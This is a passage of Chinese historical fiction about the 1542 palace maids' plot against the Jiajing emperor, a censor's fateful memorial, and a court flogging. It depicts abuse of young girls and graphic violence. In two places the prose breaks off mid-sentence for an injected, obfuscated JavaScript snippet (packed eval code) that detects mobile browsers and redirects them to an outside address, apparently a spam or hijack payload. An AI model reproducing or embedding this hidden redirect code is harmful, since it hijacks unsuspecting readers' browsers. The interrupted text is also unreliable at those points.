诗音在黑暗中惆怅地瞧着自己的脚尖。后来,有个宫女坐到了她的身边。她认得这是女史杨芙蓉。在黑暗中,芙蓉轻轻地伸手碰了碰她的手,暗暗地道: “诗音姐姐,你怕不怕?” 诗音瞧着她的大眼睛,终于说: “……怕。” 芙蓉道: “你知道吗?大家都说只有你不怕……因为你的哥哥和姨丈都是大官儿,有人照顾你,强似我们这些命如草芥的。” 诗音强忍住心中的一阵酸楚,道: “我若真是命能自主,又怎会在这里?” 芙蓉的双眼中又复蓄满了泪水。她赶快低头抹去,道: “诗音姐姐,你别怨我那天在簿子上记你,总是他们要我记,我就记了。好多人都被我记过,她们都记恨我,我真这么可恨吗?我没有办法,他们叫我记的……我这样算顶可恨的吗?” 诗音叹口气,揽住她的肩膀。原来这杨芙蓉是司正司的女史,所谓女史者,却不像班昭故事那样,可以掌修甚么前后的汉书,只不过是在宫里纠察风气,每天记下各人犯了什么芝麻绿豆大小的差错罢了。诗音于半年之前和表哥偷偷溜出宫去,因为李探花打点到了位,倒并未被人发现,只是诗音因而耽搁了一下午的针线,被记上了一笔。 “我明白,我不记恨你。你知道吗?我也险些当了女史呢。” 她在黑暗中,微微一笑:“我哥哥啊,在外头也是做史官的。” 芙蓉抽抽噎噎地道: “他是翰林,是大官儿,想是没人敢记恨他的。” “傻姑娘,你可知道,世界有多么大?大官儿顶上还有更大的官儿呢。但我哥哥可不会哭鼻子,因为真正的史书可不像你的册子那样,记着谁今天犯了错,打翻了一碗汤,谁今天多说了什么不该说的话,谁多瞧了不该瞧的东西……这册子不叫史书。他们把你给骗啦!错的不是你,你明明是一位女史,他们却总叫你做这尖酸刻薄的勾当。” “那……真正的史书是什么样儿的?” “我每天晚上都在给你们讲啊。昨天晚上才讲了。” “可你讲的是蔺相如的故事。” “对呀,那就是史书。” “原来……史书只不过是一些故事。” “那你以为有什么了不起的?”诗音道,“可还有一点……史书上记的须是真话。好的也要有,坏的也要有。体面的要有,不体面的也要有。对不好的事情,不能装瞎。” “可是……他们只叫我写不好的。” “那是他们装瞎。你可得心明……眼又亮。” 娘娘已经回去了,她们这的六七名宫女却还留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995981|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里。端妃当夕之后,本要带着宫人们一道回去,可是皇帝今日兴致高涨,见端妃调教得这些好宫人,俱是年纪幼小,粉玉可爱,便一应都留了下来。端妃只好独自一人被中人拥着回宫。 原来嘉靖皇帝身边总少不了少女侍奉,他因为一心丹道,要从少女身上采取炼丹的原料,称作“红铅”,实际是云英少女的落红。这方子源远流长,是我老大帝国的一项传统文化,直到去本朝五百多年之后,还有人为了中彩票,吃老婆的月经纸烧成的灰以增添他的运道。 本朝惜乎没有月经纸,那种制药的过程,于程序上,是对少女们莫大的羞辱,于身体上,是对她们幼小身体的残酷伤害;因此残虐至死的,打死的,累死的,忧郁病死的,数不胜数。是以女孩子们一批接一批地进献,一批接一批地死,一批接一批地,宫中那无人的角落里常有哭声。 几名宫女,和嘉靖宫中原本就在的十名宫女们,很快就哭到了一处,短短的两滴眼泪坠落的时间里,她们就结成了生死的姐妹。她们都知道,天亮以后,就是自己的死期。那甚至比死还要可怕。此时真是上天无路,入地无门。大家因恐惧都抱作一团。忽然,一个少女的声音,脆脆地在黑暗中响了起来: “林姐姐,你不是给我们讲过陈王、吴王的故事?” 她站了起来: “姐妹们还记不记得陈王、吴王的故事?秦二世无道,陈王、吴王在大泽乡起义的时候,说:今亡亦死,举大计亦死,等死,死国可乎?” 大家怔怔地望着她。这少女名叫杨金英,今年十二岁。她攥着小小的拳头,站在冰冷的乾清宫偏殿的中央,接着说道: “我们难道就不能学一学陈王、吴王!” 诗音在黑暗中用她明亮的双眼望着杨金英。她是这些宫女们之中年纪最长的,又掌着宫里的钥匙,地位超然,大家都服她。此时,她的一句话就能左右一切。她轻轻地说: “金英!” 杨金英说: “林姐姐,你要拦着我们吗?要出去报信儿吗?那你就快去吧!我宁可‘死国’,宁可为大事而死。他要是害起怕来,就会快快地把我们全都拉出去砍头,那样,死得还干脆些。” 诗音摇摇头,说: “金英,这不是容易成的事,说话轻些。” 隆冬时,天亮得很慢。大家悄悄地动了起来。宫中为了皇帝的安全,经常要经过锦衣卫一遍又一遍的查抄,想要找到一样行凶的物事真是谈何容易。好半天以后,十一岁的杨玉香在东稍间,将细料仪仗花绳解下,拿来给诗音看。诗音点点她的鼻尖,说: “小机灵鬼儿。” 少女们席地而坐,也不再觉得冷了。这是她们生命最后的热度。大家把这些细细的花绳总搓成一条。 次日卯时,酣睡中的嘉靖皇帝忽觉呼吸不畅,好像胸口压了块大石头那么的沉重,他不禁挣动了一下。一双温柔的手指,便从旁按摩着他的太阳穴,他觉得舒坦多了,又沉睡过去。可是过了一会儿,喘不上气的感觉越来越严重,死神,已在他耳边,贴着他的面颊,伴着他的呼吸。 他终于强睁开朦胧的睡眼一看,登时吓得魂飞魄散。原来在黑暗中,几名小宫女按脚的按脚,抓手的抓手,还有人坐在他身上免得挣扎,一道细细的绳索勒在他颈间。嘉靖皇帝此时倒也看不清是什么东西勒着自己,他只有瞪大眼睛,望着头顶的明黄色帐幔,口中嗨嗨地喘不过气,只发出一种要吐痰却吐不出的声音,在窒息的痛苦当中,他的手一下子掐住了身旁的什么东西,后来才觉出是一个小宫女的肢体,壮年帝王的手指在她身上掐出深深的血痕,但她咬紧嘴唇,一言不发,只有痛楚的眼泪掉在皇帝的手指上。即使这样她还是没有惨叫出声,惊动宫外巡逻的卫士。 嘉靖皇帝的眼前浮起了团团黑雾。想不到他英明一世,竟然要死在这些贱人的手里。可恨!可恨!想到这里,胸中就涌起一股热流,让他奋力地抵抗,但又被七手八脚地摁了回去,他挣扎的力量终于是越来越微弱了。 诗音用力地扯住绳索的一头,心中却悚然一惊。 她的表哥武功盖世,会杀人,她不会,她不懂得真正杀人之时所要做的种种打算。宫女们力量微弱,而这绳索本来就太细太滑,要勒死一个壮年男人,是不容易的。而方才因为皇帝的挣扎,这绳索竟然缠成了一团死结。原本这丝绸的料带就不是为了把人勒死而作的,摸上去冷滑非常,一旦打起结来,就很难解开,是几种最难打理的丝织品之一。眼见得皇帝面皮转为紫涨,只要再过顶多半盏茶时候就能要他的命,却不可得。见势不好,已经有一个身影在床脚敏捷地闪去,跑走了,诗音也慢慢地松开了手。 几名宫女都将目光望向她。皇帝还没死,她就松开手,难道是林姐姐想要反悔吗? 却见诗音从头上拔下发簪,朝皇帝的头颈猛刺下去。几名小宫女也如法炮制,拔下自己细而尖锐如针的发簪,当其时,十几名姑娘全都披头散发,坐在龙床上,看上去真如群鬼索命——陆炳进来时,就是这个想法。他大喝一声: “护驾!” 便猛然冲了上来。宫女们纷纷四散逃去,加上陆炳的一心扑在皇帝身上,一时之间竟然抓她们不着,可是随着护驾的呼喊,门外巡逻的卫士和等着伺候的太监们,纷纷地都闯了进来,护持皇帝,并且将宫女们一个个当小鸡仔样地捉住,看押起来。不一会儿,又有大群的人被驱进这间偏殿,原来今夜当夕的端妃逃不了嫌疑,与她同住一宫的王宁嫔,两位嫔妃及其阖宫上下所有人等,全被当作谋逆之人给抓了起来。 方皇后接了一名叫张金莲的宫女报告,匆匆赶到时,只见得皇帝浑身冷汗,衣裳散乱,躺在床上,大睁着眼睛,大张着嘴,眼珠却是不会转动,而嘴巴也吸不进气去了。皇后当即扑倒在嘉靖身边,哭道: “皇上!” 方皇后是个行事敏捷有条理的女人,当即吩咐传太医、捉拿犯人,她在这里,一宫的乱渐渐地被平定下来了。过不多时,天更亮了起来。 6. 古往今来圣贤事 胡云翼在三十四岁上中了进士,从此便潜心立志,要做个好官。鄢懋卿看准了他不会有什么大出息,果然,因为刚直的秉性,他在同僚中几乎无法立足,京官之间的关系错综复杂,构成一张扯不开的大网,他竟然能就这么直挺挺地戳在网眼之间,惹人讨厌。 逢年过节,百官少不得要摆开酒宴,热热闹闹地过节,唯有云翼的家中总那么冷清。他的破房子,因为四面透风,加上漏雨的房顶,号称“五风楼”,本人被同僚们送一雅号,叫做“五风楼主人”。云翼意态自若。 当时,海瑞海刚峰还未读出书来,因此一个胡云翼就足够惊世骇俗,让大家人仰马翻了,这么一个正直不阿的人,眼里当然是揉不得沙子的。 三月,李孝元从他直隶的老家回来,不去销假,反而坐在西华门的鼓楼上,敲着酒杯唱歌,这孩子是放诞惯了的,大家顶多是一笑就过去了。云翼本也是摇头叹息,心想:大好的人才,虽然年纪幼小,可是加以磨练,今后于国家当不无建树。他这就替李孝元等待磨练的了,后来发现唱歌这么大的事情竟然没有人弹劾,须知御史台就是皇上的耳目,要是御史们俱作了哑巴,皇上岂不是成了瞎子?这可是唱歌呀!当即挥毫大书,弹劾这个不像话的东西。正当他“臣窃窃”、“窃窃臣”,痛心疾首越写越长的时候,窗户被推开了。 须知起这房子的时候,因为和工匠谈钱不拢,那工匠使了个坏心眼儿,窗户给造得向内开,外面猛然这么一推,云翼的脑袋磕了个正着。疼倒不疼,只是吓了一跳,他直起腰来,却忽然感到一阵暖香扑面,被一双手给抓住了肩膀。那人急急忙忙地道: “哎呀!” 又望着他说:“老爷,你疼不疼?” 云翼说:“不疼。”其实她这么一问,他忽然觉得好像是有些疼的了。他说:“大姐儿,你为甚么不好好地走门?” 那姐儿伶俐地从窗外爬了进来,小小一只盘踞在桌上。云翼眼睁睁看着她把自己墨迹未干的奏章弄得一团糟,硬是一句话也没说,决定次日到御史台去正正经经地誊一遍便罢了。姑娘爬进来,关上他的窗户——窗外只是堆放着一些乱七八糟的破烂的院落,有日常的杂物,还有胡二不知道打哪里捡的,声称肯定有用的更杂的东西,这等景致,还是把窗户关上的好——索性就坐在桌沿上,道: “要是走堂屋正门进来,爹爹肯定会发觉了,可是现在咱们小声说话,应该还不打紧。” 原来这姑娘正是胡二的闺女胡小娘,性极活泼,爱俏爱笑,和云翼素来相好。只是她父亲一味地叫云翼娶她,姑娘反而害臊,所以总是避开父亲,和云翼私下相会。 小娘坐在桌沿上,把桌上的一套四书给乱翻了翻,两眼望着云翼,说: “老爷果真好个读书人,你念什么圣贤书呢?” “这是……这是《春秋》。”云翼干巴巴地说。 “讲什么的?” 云翼正色道: “讲的是古往今来圣贤事。” 小娘说:“圣贤书果然没意思,连张画子也没有。”又说,“老爷,你常看这样没意思的书,你的人都要变得没意思了。” 云翼敛容道:“读书是为了修身、齐家、治国、平天下,本来就不是为了‘有意思’的。” “顶没意思的人才说这话呢。” 云翼又不知道该说什么了。小娘忽然抿嘴一笑,仿佛想到了什么特别好笑的恶作剧,冲云翼神神秘秘地招手: “老爷,你来。来呀。” 云翼面红耳赤,好像预感到了将要发生什么。他慢慢地弯下腰去。小娘于是轻轻地在他的嘴唇上吻了一下。那就好像她用绣花针把云翼给刺了一针似的,云翼不禁睁大了眼睛。小娘含笑地问: “老爷,这个有意思没有?” 云翼吞吞吐吐,小娘拉住他的手,他只好说: “有意思。” “有意思的事情好不好?” “好。” 胡小娘拍手道:“着呀!看来你还不曾呆到底。” 云翼看着她,不禁苦笑。要知道我国的传统文化博大精深,“意思”这个词的意思,《说文》上讲得很单纯,实际应用则千变万化。譬如,假如上官问你要点意思,你就得对他意思意思,要是你不意思意思,他可就要意思意思,你若是多少意思意思,他少不得也得意思意思……后来云翼坐在椅上,望着胡小娘,她梳着两条大辫子,穿一身青布衣服,耳边戴着一朵绒线花。他忽然说: “大姐,要是我娶你,一定给你打金钗子,上面要打上花样儿,我心里想着,就和这对绒线花差不离。” “那你怎么还不快点打去?” “我的年俸只九十石,攒上一辈子,也未必能攒够这支金钗子,到时候……”云翼说,“到时候,你就老啦。若说到终身大事,我还是给你请个官媒人去吧。” “老了怎么了,”小娘牙尖嘴利,将她的辫子梢玩弄着,好像那是武将的马鞭子一样豪气,忽然又把辫子往后一抛,“老了就老了嘛!谁不老?你不老?” 云翼说: “我知道,你爹胡二要你来攀着我,他说我将来前途无量,我说他看错了人了。我这一生既然要做圣贤书上的那样清官、好官,就不能做好丈夫了。你瞧我这一年九十石。” “圣贤书为甚么和人作对?” “不是圣贤书和人作对,是太祖洪武皇帝开国的时候,就规定了读书人的品秩和官员的俸禄……” “那么皇上为甚么要和人作对?” “唉。” 云翼沉默了一会儿,后来给她讲了一个故事。 他做生员的时候,是乡里出了名的书呆子,只知道做学问,一点也不晓得经纶事务。方当他中了举,一帮人来贺喜,他把人家全打了出去,当日胡家的族长是他的亲叔叔,因云翼年轻力壮,挥手间不慎将该叔叔推得扑倒在桌子上,将那破木头桌压得散了架,其自身也跌得鼻血横流。叔叔含恨而去,此事也成为乡内一个有名的笑话。 他的考运,到会试时便困顿起来,连着考了两次都名落孙山,于己身来说,则是忽忽的六年蹉跎过去了。大家已经不再认为他是个有希望的,可是云翼和他们偏偏又是低头不见抬头见,每天天不亮云翼要上山打柴,下山时常常会遇见他的两个叔叔溜达着去吃早点,这时候,云翼的步伐依然稳定,叔叔们却会一致地开始顾左右而言他。 乡里常说,胡云翼就是要考到老的了,可是他还不算顶差劲的,有的是考到九十岁,依然是个童生的,云翼好歹还曾中个举人,说明天上的先师孔圣人,对他的安排就是到举人。云翼不服,偏要去撞会试的南墙,这个道理,他一天不醒悟,就要白吃一天的苦头。 可是第九年上,云翼竟然金榜题名。这一年他三十四岁。 发榜之时,可是热闹了。殿试后的第三天,诸进士齐聚在奉天殿听着唱名,名字后面还跟着他们的发配;一级一级的大汉将军的呼喝,径直传出宫去,将新科进士的名单传至城中和乡里。云翼委在礼部行人司,上任之前,回乡去祭拜父母双亲的坟茔。 结果他刚刚踏上家乡的土地,便被不知道打哪儿涌来的一大票乡谊年谊和族人给围住了。要知道他的进士考了三次,是以能和他攀年谊的人就极多,算来可以凑成一个六百人的大方阵。他的家族也极大。两位一在街上瞧见云翼就犯斜眼病的叔叔,竟然不药而愈,拉着云翼的手嘘寒问暖,痛哭流涕,一齐说: “好了,好了!这下可都好了!我那死去的哥哥和嫂子,也能安息了!这都是祖宗保佑啊!” 云翼说:“嗯,我就上坟去。” 说着把人撇下走进里屋。这帮人高谈阔论,彼此恭维,后来才想起正主儿,却在屋里怎么也找不见云翼,哪里知道他说的上坟去真的是即刻动身,从后院的破篱笆上翻走了。天黑后众人各自归家,第二天天不亮,又打着捉贼一般的架势来捉他。 当时当世,有一个全国性的风俗,一旦寒门及第,立刻有工匠到他家里打砸,美其名曰除旧迎新者。打去了破草庐,修那不庇寒士的广厦。这时候什么都有了,替他盖房子的,给他抬轿子的,准备华丽的宴席、置办好衣裳的,说媒的……等办完了事情,账单随即递来,新任的老爷必然手足无措,这时候又有些机灵人在旁边出主意,指点老爷得了官,上任以后有哪些松动处。是以到任的新官身后还跟着一大群要债的,而官员们上任的第一把火,往往就是打着算盘来解这个燃眉之急。 云翼实打实地在山上躲了一夜一天,晚上就睡在他母亲的坟头上,用手捧着喝水,摘野果子吃,第二天晚上才回家。到家以后,发现他家还是那么门庭冷落,桌上放着一封银子。云翼拿起信封仔细验看,见上面并无署名,便知道不是他叔叔、族人等留下的。后来,他听同乡说,黎明时分他们到胡家贺喜,远远看见云翼早逝的母亲,一个小脚的老太太,坐在柴扉之前。云翼的三叔当场吓得脚软,道: “嫂子!” 老太太坐在那儿,对他们说: “谢谢乡亲们的好意,我儿是个书呆,不会应酬,恐怕怠慢了诸位,还是请回吧。家中虽贫,可是也不劳诸位接济。现在小妇人也要学一学陶侃的母亲,卖了头发送我儿清清白白地上任去。” 云翼赖有这二十两银子,才在京城安了家。其实,他是个很务实的人,就算不务实,父母双亡,一贫如洗而闷头苦读的生活,也早已把他教会了。 读书,是因为这是本朝几乎唯一的出路;在做官之前,他只想着要做官,然而去京城的路上,摇摇晃晃的大船中,吐得七荤八素的时候,却发现自己无法摆脱一个问题的困扰,这问题就是:他要做什么样的官? 他不相信那银子是母亲给的,他母亲一辈子还未见过那么多钱呢。一把头发也买不上二十两,因为他母亲真的卖过。可是,那乡人尖着嗓子转述的母亲的话语,让他久久地不能忘却。即使他在心里说:呸!我娘哪是这个腔调? 然而他又想:母亲要他清清白白地上任。 身在官场,想要清白,真是天方夜谭。但他自认也清白了两年了,可见许多事只要肯做,就能做。 清白的胡大人冬天冒雪去上班,御史台虽然算不上什么闲曹,然而性质特殊,一般是用不着在衙门里干坐着的,是以他今天还未进门便听得人声鼎沸,着实困惑。进去一看,好些同事根本不认得。当下众人见了面,认识了认识,坐下来说话。 云翼却不爱和他们歪缠,拿过一早送来的邸抄来钻研,一看之下却又吃了一惊,原来他弹劾翰林院编修李孝元的那折子,给皇帝扣了半年之久,本以为是石沉大海,然而半年以后的今天竟给发出来了,罚得甚重,夺官,杖八十。 这短短的几个字像在云翼的天灵盖上兜头猛槌了一下,许久后仍嗡嗡作响。他瞪大眼睛,抬起头来望向群僚,毕生头一次有了想找人谈谈的愿望。哪怕谈不到点子上,只要谈谈……谈谈,只要让他知道并不是只有他一个人为世上正在发生的一笔笔糊涂账而困惑不堪。然而大家热火朝天的是另一个话题。 五十多岁的吴?是嘉靖八年的进士,一个永远升不上去的老资格。此时撩着他的一把斑白胡须,慢条斯理地说道: “诸位可知道,前两天宫里出了什么事?” 林应麒是嘉靖十四年的进士,此刻就急急忙忙地插话: “那天钦天监的廖大人就私底下说,客星南犯,不知是何征兆,孰知出了这样大的事!” 云翼还恍恍惚惚,又觉得皇上要打李孝元一顿棍子好像也犯不着让大家这样。接着听下去,他的同年梁汝璧终于替他解惑了,说: “我听说,那十六个宫女儿,已经全抓起来了!连……” 他好像生怕周围有人看见似的,环顾了一圈,除了簇拥过来的众同事的脸外什么也没有,于是咽口茶,定定神,接着说下去。 “连曹端妃都给捉了!我那个同年,云翼兄,你是知道的,就是李孝元,他的妹妹也在作乱贼人里头,一道都给抓了!” 云翼说:“啊!”邸抄从手里掉了下去。 这场宫变自然在朝中引起轩然大波,皇帝还病重的时候,方皇后使司礼监太监张佐、高忠等人将当日在乾清宫中奉事的宫女一道都抓了起来,连当夕的曹端妃、和她住在一个宫里的王宁嫔及其宫人也都抓了,投入诏狱严加审讯。 犯罪事实是确凿无疑的,答应杨金英供认说,是她死命勒住绳子,其她几个宫女:苏川药、杨玉香、邢翠莲、姚淑翠、杨翠英、关梅秀、刘妙莲、陈菊花、王秀兰等人,都受她指使,按住皇帝的手脚。金英戴着枷,披头散发,血流满面,嚼着血,咬着牙,说道: “可惜那绳子不争气!可恨!可恨!可恨!” 一个宫女儿,哪里就有这么大的胆子?她背后必然有人指使。那两个司礼监太监一心想让她们攀咬出自己希望的名字来,因此百般诱导,金英是个聪明的女孩子,笑起来,道: “好,好,我说。” 她瞪住了高忠,道: “就是你!” 高忠因此险些掉了脑袋,幸好他嘴甜又细心,连滚带爬奔回去在皇帝身边侍奉汤药,伺候屎尿,才算将这一大劫度过去。 在这桩案子里尤其怪异的,倒是曹端妃宫里那姓林的姑娘。当时,因为把乾清宫和端妃、宁嫔宫里的人都乱哄哄地抓了来,大家却都忙着去抢救皇帝,事后倒也分不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995982|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁是哪个宫里抓来的了,只是那向方皇后报信的有功之臣,宫女张金莲说过,她当时曾摸过手边的一个烛台,扔中了一名行凶者的胳膊。当时便令宫女们都挽起袖子来验伤,却有两个人身上都有伤痕,一个是杨金英,还有一个就是林诗音。 曹端妃迫于无奈之下,只好说明了情由:原来这林诗音虽然身为宫女,却不太老实,策划了大半年,宫变的当日,在她表哥的帮助之下偷溜出宫,玩了一天,到傍晚侍寝之前才回来,正被端妃抓个正着。即使是一向待下人极宽和的端妃也不免气愤,将她怒叱了一通禁足,也并未带她往乾清宫去。她身上的伤痕便是端妃责打所致。 想不到一桩案子竟然又牵扯到了一桩乱宫大事,上上下下尽皆哗然,不过李孝元一向是极得圣眷,两三年之先,他未中进士的时候,从大同回来,那时候皇帝就下旨将他表妹由他带出去在京中游乐了一日。今日之事不知怎样,也许仍不过是他撒撒娇,皇帝就轻轻放下了。 正说到李孝元,云翼手中的邸抄掉了下来,砸着了梁汝璧的脚,他拾起来,拎到眼前一看,不禁哎呦地叫了一声: “皇上这回可是不饶他了!难怪,出了这么大的事。” 原来本朝制度,廷杖是一样可供皇帝自由驱使的法外之恩,大臣们若有叫皇帝不顺心的地方,可以当即拖出去打一顿棍子。这两根棍极为辛辣,若是打得重了,即“好生来”,二十棍下去就能让人不省人事,若是轻了,听说锦衣卫能把棍功练到皮肉绽破而筋骨尚完。然而棍子终究是棍子,八十棍下去,人必然是要到鬼门关里去走一遭的,以当日有限的生理卫生知识看来,李孝元只是个骨头尚没长成的半大孩子,叫他挨上八十棍,形同下令说拖出去打死。 吴?感叹了一阵,又嘬着热茶,又嚼茶碗里的红枣,口中啧啧有声。后来说: “皇上毕竟还是开恩了的,不枉疼他一场。” 诸位连忙请教恩在何处,这吴?就弄着胡子说: “以乱宫大罪黜落,可是要遗臭万年的。皇上因此才在半年前的这件失礼之事上发作,这是给前任的老李尚书保全了颜面啊。” 众人纷纷称是。云翼只呆坐一旁,心里想起他写奏折的那天,胡小娘从窗户外面爬进来,两个圆圆的膝盖在青布衣服下面显出轮廓。胡小娘亲他的嘴,说他没意思。后来李孝元就要因这奏章被活活打死了。这个“后来”,是出于一种冥冥中的什么安排,才能把前后两截给联系起来? 他怎么也想不明白。众位同僚笑话他又梦游了。 皇帝稍后命严嵩传旨百官,朕躬安好,不必挂心。然后又宣读了一张长长的罪犯名单,十六名宫女自不必说,如今关在牢里,等着一切问停当了再行处死,这时候却又斜刺里提到半年前的一桩不相干的事情,那胆敢在西门鼓楼上唱歌的李孝元,当场给拉了出去,拖到午门摁倒。当时在场百官,听了这个罪名,不知道其中关节的不禁莫名其妙,知道的则纷纷在心中感叹吴?老大人的眼光独到和皇帝的苦心。 嘉靖一朝,对廷杖用的是最为得心应手。嘉靖三年,皇帝十八岁的时候,就因为大礼议之争,将五品以下一百三十多名官员拖出去打,打死了十七个,致死率不高不低,看来锦衣卫手底下毕竟是有些准头的。还有些传闻说,要锦衣卫拿棍的时候是两脚并拢,那就是好生打,要死人的,若是两脚张开,就还有那么些微的余地。因此云翼很注意地看着那些锦衣卫的脚,却发现大家怎么站的都有。 打人的那两个棍,用的是上好的木材,要是五品以下官员,靠俸禄一年也买不来碗大的一块,木料如铁,坚硬无比,起码硬过人的骨头;杖的一头包着铁皮,铁皮上尚有倒刺,方当行凶之时,锦衣卫行刑,司礼监监刑。大珰们捧着驾帖上来,断喝一声:“带上犯人来!” 于是下面千百人一同大喊以应,震声盘桓不绝。再喊“跪下”,则犯人乖乖跪下,除去衣物,便打。那棍子要抡动也不容易,再说打人是精细活,于是五棍一换,八十棍便换了十六人,每一换,便喊一声“着实打!”,再将棍搁上,又喊“搁上棍!”,总共喊上四十六声。打完了,再喊“踩下去!”,便算大功告成。由校尉四人拿布拖着下去,几名小太监扬细沙在血污上,一切转眼之间由都干干净净了。 严嵩宣完皇帝谕令以后,就匆匆赶回西苑去面奏皇上,并不监刑,百官物伤其类,也都不大敢看,早早散了。唯有云翼一直守候在旁边,李孝元看见他,便把头拧过去。 李孝元虽有通身的武艺,然而擅长打人的却不一定也擅长挨打,何况他是世家的少爷,何曾受过这等屈辱,早先的十棍子下去,已将嘴唇给咬出血来,再十棍子便几乎昏厥,就泼起来再打。如是八十棍。午门外有不少过路的人对伤者指指点点,讨论他死了没有,而两个校尉刚把布头扔下,云翼便跟过来,顿了一顿,把兜抹开,数一数里面有六个大钱,就一人给了三个。两个校尉神情古怪地掂着那三个钱,走了。走出老远才忽然放声大笑起来。 云翼半跪下来,将伤者扶起,那布已经被血浸得透湿,但幸好还有口气在。左右瞧瞧没人看见,云翼就把自己的衣裳整幅撕裂开,扯成一片片替他草草地扎裹了伤口,剩下一片碎布,给他披在肩上,李孝元仿佛十分寒冷似的紧紧抓着那布。实际今天也确实很冷。他抓着云翼的手,哆哆嗦嗦地说: “胡大人,你这是做什么啊?” 云翼说: “管你。” 李孝元不知道为什么就笑得要命,云翼把他背起来,他还伏在他肩头吃吃地一个劲儿地笑。云翼说: “你别笑了。” 他也不听。后来真的笑没了力气,趴在云翼肩头睡着了。云翼却又想听他笑。他在午门外头命人解下了李孝元的马,那匹马通体漆黑,四蹄踏雪,端的是匹好马,可是云翼骑术不精,带着个伤患骑马又多有不便,他便一路把他背着,而让那马在前头带路。一匹马和两个人,走了好久好久。天黑以后很长时间,才终于走到了李探花在顺天的宅子。半路上又开始下雪,今年的雪颇繁,据说是皇帝有道的象征,是喜庆的事情。和前一年因祷雪而闹得人仰马翻的情形,又大不一样了。 今年和去年就有那么不一样吗?如果下雪就是皇上有道,那么嘉靖二十年的皇上就是无道的了,其实嘉靖二十年,除了祷雪那一阵,却好像很平静,头年刚刚平了兵乱,还开了一科的进士,取上不少好人材。这一年却是无道。那么今年是有道的,有道的今年,十六个宫女要谋杀皇帝,差一点得手。云翼在风雪中喃喃地说: “你得活着,你死了,我没法交待……” 李孝元朦朦胧胧地说: “你说什么?” “没什么。” 7. 逆御氏 傍晚,诗音回到了曹端妃宫里。这座皇帝宠妃的宫殿,从前是清雅幽静的人间仙境,衣香鬓影,佳丽如云,时时可以听到宫女们的笑声、小公主牙牙学语、鸟鸣和风吹竹海的声音,如今却只有一片死寂。 院落因为连日无人洒扫,显得很是脏乱,当日因为锦衣卫来捉人,把白雪地踩成了黑的,一切扯碎了的衣料和钗环散落在地。 这时候,忽然从宫殿当中传来了一阵孩子的啼哭。诗音立即认出这是她所看顾的小公主禄贞的声音,便匆匆向殿内跑去,几乎与抱着孩子出来的一个老太监撞个满怀。那太监认出是她,唏嘘道: “林姑娘回来了!” 诗音赶快将大哭的小公主抱在怀中,又用自己的脸去贴公主的小脸。公主抽噎着,断断续续地喊: “姑……姑,姑姑……娘亲……” 这老太监叫刘让,向来在她们宫里做些杂事,此刻讷讷地袖着手,看着她们。诗音今年也不过才十三四岁,还没有殿前头那几杆竹子高,刚从牢里被放出来,自己还吓得七荤八素,却很娴熟地抱着小公主,拍她,哄她。老太监说: “林姑娘回来了,其她娘娘和姑娘们也快了吧?林姑娘,你莫不是回来替咱每娘娘先收拾屋子的?” 诗音摇了摇头。刘让就不再问了,慢悠悠地走了进去。 为了节省炭火,这些天他和小公主一起住在王宁嫔宫中的一间小厢房里,倒也将这屋子烧得很暖和。但偌大一座宫殿,一时少了人居住,到了晚上就阴冷潮湿,苦楚异常。 诗音一下一下地拍着怀中睡着了的小公主的脊背,听刘让讲这些天发生的事情。他慢慢地翻着炭火,说: “林姑娘,一会儿就暖和了,今天还多加了两块炭呢!” 诗音道: “炭倒不缺,一会儿我和你去库里拿。只是那些官大人们将宫里翻得一团糟,恐怕找不到钥匙,那就麻烦了。” “哎。” 过了好久,诗音又喃喃地说: “有梨子就好了。这些天,小公主的嗓子都给哭哑了。” “那可不?要说那天,小人正在外头扫地,忽然一帮大人们就冲了进来,将曹娘娘和王娘娘,还有她们宫里的这些姑娘们全都押走了,小殿下醒来,又见不着娘亲,又见不着林姑娘您,怕得直哭。小人在外头听着,心里也实在不忍,因此拼着受责罚,也进去将小殿下抱了起来。可是小人既是……是这样没有根的东西,不会照顾孩子,怠慢了公主,因此她这些天只是哭。小人只顾这么样手忙脚乱地伺候公主,连外头洒扫院落的活计也落下了,两样都没做好,姑娘罚吧。” 诗音淡淡地说: “这些都不打紧。” 她久久地凝视着火焰。老太监好几次欲言又止,后来,还是诗音抬起眼来: “刘翁,你有话要对我说么?” 刘让道: “姑娘,你……你别想了。咳,这些事……咱每这些做奴婢的,都见得多了。见得太多了……” 诗音摇了摇头,忽然眼圈一红,她赶忙一口咬住袖子,将哭声压抑下去,可是泪水一双一双地扑在小公主的襁褓和她熟睡的小脸上。 “我……我没想到……”她咬着牙说,“没想到……端妃娘娘是……这样……不近人情的人……娘娘她为什么对我这么坏?为什么唯独对我这么坏?” 刘让看着她,忽然叹了口气。这个年届古稀的老人膝行上前,将抽泣的少女和婴儿抱在怀里。他也像诗音照顾小公主那样,拍着她的脊背。 “好了,好了。好姑娘。别哭了,好姑娘……能看见你回来,我心里多么高兴……” 